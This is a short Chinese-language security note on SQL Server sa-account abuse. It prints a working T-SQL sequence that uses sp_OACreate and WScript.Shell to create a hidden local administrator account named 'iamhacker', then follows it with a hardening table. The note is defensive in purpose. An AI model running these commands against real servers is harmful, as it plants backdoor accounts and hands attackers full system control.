SQL Server sa 帳號權限相當於作業系統 Administrator。若 sa 密碼外洩,攻擊者可在查詢分析器執行 T-SQL,透過 OLE 自動化 呼叫 WScript.Shell 執行任意系統指令,完全控制伺服器。
DECLARE @obj INT
EXEC sp_OACreate 'WScript.Shell', @obj OUT
EXEC sp_OAMethod @obj, 'Run', NULL, 'net user iamhacker opendoor /add'
EXEC sp_OAMethod @obj, 'Run', NULL, 'net localgroup Administrators iamhacker /add'
EXEC sp_OAMethod @obj, 'Run', NULL, 'net localgroup Users iamhacker /del'
原理剖析:
sp_OACreate 建立 WScript.Shell COM 物件sp_OAMethod ... 'Run' 執行命令列指令notepad.exe 等 GUI 程式(工作管理員可見 SYSTEM 權限進程)| 層面 | 措施 |
|---|---|
| 帳號管理 | sa 必須設強複雜密碼、定期換碼、嚴禁共用 |
| 最小權限 | 應用程式勿用 sa 連線;建立最低權限 SQL 登入 |
| 功能停用 | 停用 Ole Automation Procedures(sp_configure),移除 sp_OA*、xp_cmdshell 等高風險預存程序 |
| 服務帳號 | SQL Server 服務改用專用網域帳號(非 LocalSystem/Administrator) |
| 網路隔離 | 防火牆封鎖 TCP 1433/UDP 1434 對外暴露 |
| 稽核監控 | 啟用登入失敗稽核、監控 sp_OA* 呼叫異常 |